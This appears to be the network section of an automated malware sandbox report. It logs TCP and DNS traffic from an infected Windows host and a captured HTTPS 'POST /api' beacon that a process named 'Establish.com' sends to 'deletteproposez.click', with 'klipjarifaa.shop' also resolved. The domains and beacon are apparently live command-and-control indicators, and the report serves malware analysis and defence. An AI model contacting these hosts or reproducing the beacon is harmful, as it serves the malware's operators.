Jan 5, 2025 18:52:56.230386972 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.231518984 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.231574059 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.231751919 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.231770039 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.231811047 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.231816053 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.231832981 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.231852055 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.231935978 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.231950998 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.231987953 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.231992960 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.232017994 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.232033968 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.236053944 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.236068010 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.236119032 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.236125946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.236162901 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.237229109 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.237242937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.237292051 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.237298012 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.237335920 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.237687111 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.237708092 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.237838030 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.237844944 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.237890005 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.251939058 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.322983027 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.323002100 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.323081017 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.323090076 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.323143005 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.323210955 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.323225021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.323278904 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.323288918 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.323326111 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.323998928 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.324013948 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.324067116 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.324071884 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.324112892 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.324230909 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.324245930 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.324295044 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.324301958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.324352980 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.324553013 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.324567080 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.324620008 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.324625969 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.324676991 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.328330994 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.328346014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.328402996 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.328418970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.328459024 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.329641104 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.329653025 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.329705954 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.329719067 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.329757929 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.330008984 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.330025911 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.330084085 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.330091000 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.330131054 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.330295086 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.330353022 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.330359936 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.371938944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.393502951 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.415689945 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.415725946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.415771008 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.415777922 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.415800095 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.415815115 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.415867090 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.415904045 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.416687012 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.416703939 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.416769028 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.416779041 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.416930914 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.416951895 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.416985989 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.416991949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.417006969 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.421998024 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.422013998 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.422128916 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.422142982 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.422554016 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.422580004 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.422607899 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.422615051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.422642946 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.422815084 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.422828913 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.422864914 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.422871113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.422892094 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.422943115 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.422956944 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.423027992 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.423034906 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.423057079 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.450046062 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.508037090 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.508064985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.508152962 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.508177996 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.508188963 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.508217096 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.508251905 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.508260965 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.508271933 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.508301020 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.509185076 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.509201050 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.509259939 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.509268999 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.509310007 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.509330988 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.509361982 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.509368896 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.509394884 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.509450912 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.509531021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.509567022 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.509587049 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.509593964 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.509614944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.509653091 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.513314009 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.514787912 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.514806986 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.514894009 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.514909983 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.514985085 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.515011072 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.515052080 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.515058041 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.515074015 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.515108109 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.515235901 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.515256882 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.515297890 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.515304089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.517949104 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.536036968 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.536082029 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.606137037 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606165886 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606334925 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.606370926 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606412888 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606432915 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606477022 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606492043 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606494904 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.606502056 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606545925 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.606637955 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606664896 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606699944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.606715918 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.606729031 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.607029915 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607048988 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607218981 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.607224941 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607286930 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607300043 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607403994 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.607410908 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607822895 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607841969 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607909918 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.607917070 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607924938 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607938051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.607976913 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.607992887 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.612474918 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.612530947 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.698615074 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.698690891 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.698749065 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.698772907 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.698798895 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.698818922 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.698827028 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.698843002 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.698898077 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.698906898 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.698914051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.698949099 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.699039936 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699062109 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699093103 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.699098110 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699126005 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.699256897 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699275970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699307919 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.699318886 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699378014 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.699385881 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699404955 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699439049 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.699444056 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699460983 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.699647903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699661016 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699757099 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.699763060 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699911118 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699928045 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699964046 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.699969053 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.699999094 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.700150013 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.700164080 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.700208902 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.700216055 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.705024958 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.800462008 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.800487041 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.800590992 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.800618887 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.801851988 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.814842939 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.814867020 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.814977884 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.814997911 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.817847013 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.829216957 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.829246044 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.829310894 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.829336882 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.829350948 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.829375029 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.843472004 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.843512058 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.843597889 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.843610048 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.845890045 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.857731104 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.857748985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.857852936 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.857882977 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.857997894 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.871995926 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.872020960 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.872102022 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.872112989 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.874170065 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.886249065 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.886272907 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.886353016 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.886365891 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.890182018 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.900734901 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.900763035 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.900840998 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.900851011 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.901880026 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.938867092 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.938891888 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.939029932 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.939054012 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.941924095 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.953272104 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.953294992 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.953392982 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.953412056 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.953587055 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.967408895 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.967430115 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.967489958 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.967510939 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.967521906 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.967545986 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.981785059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.981803894 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.981925011 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.981945992 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.981990099 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.991363049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.991419077 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.991436958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.991446972 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.991457939 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.991512060 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.991513014 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.991589069 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.994100094 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:57.000329971 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:57.000350952 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:57.000394106 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:57.000401020 CET	443	49885	188.114.96.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 18:52:08.536267996 CET	60752	53	192.168.2.5	1.1.1.1
Jan 5, 2025 18:52:08.553261042 CET	53	60752	1.1.1.1	192.168.2.5
Jan 5, 2025 18:52:39.053479910 CET	51656	53	192.168.2.5	1.1.1.1
Jan 5, 2025 18:52:39.067548990 CET	53	51656	1.1.1.1	192.168.2.5
Jan 5, 2025 18:52:49.408620119 CET	53324	53	192.168.2.5	1.1.1.1
Jan 5, 2025 18:52:49.419959068 CET	53	53324	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 18:52:08.536267996 CET	192.168.2.5	1.1.1.1	0x5682	Standard query (0)	fJLEZdwdvmkbhApFpKCL.fJLEZdwdvmkbhApFpKCL	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:52:39.053479910 CET	192.168.2.5	1.1.1.1	0x988	Standard query (0)	deletteproposez.click	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:52:49.408620119 CET	192.168.2.5	1.1.1.1	0xa269	Standard query (0)	klipjarifaa.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 18:52:08.553261042 CET	1.1.1.1	192.168.2.5	0x5682	Name error (3)	fJLEZdwdvmkbhApFpKCL.fJLEZdwdvmkbhApFpKCL	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:52:39.067548990 CET	1.1.1.1	192.168.2.5	0x988	No error (0)	deletteproposez.click		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:52:39.067548990 CET	1.1.1.1	192.168.2.5	0x988	No error (0)	deletteproposez.click		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:52:49.419959068 CET	1.1.1.1	192.168.2.5	0xa269	No error (0)	klipjarifaa.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 5, 2025 18:52:49.419959068 CET	1.1.1.1	192.168.2.5	0xa269	No error (0)	klipjarifaa.shop		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

deletteproposez.click

klipjarifaa.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49816	188.114.96.3	443	6152	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:52:39 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: deletteproposez.click
